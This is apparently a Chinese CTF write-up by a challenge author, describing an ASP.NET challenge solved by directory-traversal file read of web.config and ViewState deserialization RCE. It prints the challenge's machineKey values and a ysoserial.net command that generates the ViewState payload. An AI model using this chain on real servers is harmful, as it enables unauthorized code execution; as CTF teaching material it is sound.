最近看到了暗羽表姐每天推送的链接里有这么一篇文章:

玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

看了看其中的原理,觉得挺有意思。其次平时在 CTF 中由于环境配置等原因以 PHP,Python 这类能在 Linux 下 Docker 容器里直接跑的语言为主,对于 Windows,ASP.NET 这类微软系的技术在平时比赛中很少见,但在实际中Windows 的服务器和用 ASP.NET 编写的应用程序并不少,我们对于其也不能忽视。再来又想着之前弄好了 Windows 靶机节点一直没有怎么力推过,这次 BJDCTF 2nd 在 BUUCTF 上举行,就正好拿 Windows 靶机出个 ASP.NET 题目,也算给 Windows 靶机节点做做压测,所以就想着拿这篇文章中提到的方法来出出题。

当然这个题目用 Mono 之类的在 Linux 下也能跑,但上面也说了,主要还是为了压测,顺带考一下大家在 Windows 下的基本操作?。

下面是 WriteUp:

知识点:

  • 任意文件读取
  • ASP.NET VIEWSTATE 反序列化有回显 RCE
  • Windows 基本操作

步骤:

1、打开靶机,查看一下页面。有个按钮。


2、查看一下页面源码,页面中有 VIEWSTATE 等值。

3、点一下按钮,输出了一张图片。查看一下文件路径,判断有任意文件读取。

4、根据 uri 的 .aspx 后缀,目标读取 web.config 文件,构造目录穿越尝试读取文件成功。

查看 web.config 的内容,其中 machineKey 中的值均为固定值,根据上面那篇文章所述,这些值用来加密反序列化之后的 VIEWSTATE 等值。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

5、 有了 VIEWSTATE 的加密密钥,我们就可以根据文章中的方法构造一个带回显的 VIEWSTATE Payload,来让服务器反序列化然后 RCE。

https://github.com/pwntester/ysoserial.net

PS C:\Users\Administrator\Downloads\exp> C:\Users\Administrator\Downloads\ysoserial-1.32\Release\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"

6、然后将得到的 Payload 放入 POST 的请求的 VIEWSTATE,再将命令写入 cmd,发送即可 RCE。

7、Flag 到手~

最近事情比较多,写得就简略些了,这次也主要是给平台做压测,掌握了很多第一手资料。打 CTF 的同学也请把眼光放远一些,不要给自己创造舒适区,多接触一些新的东西。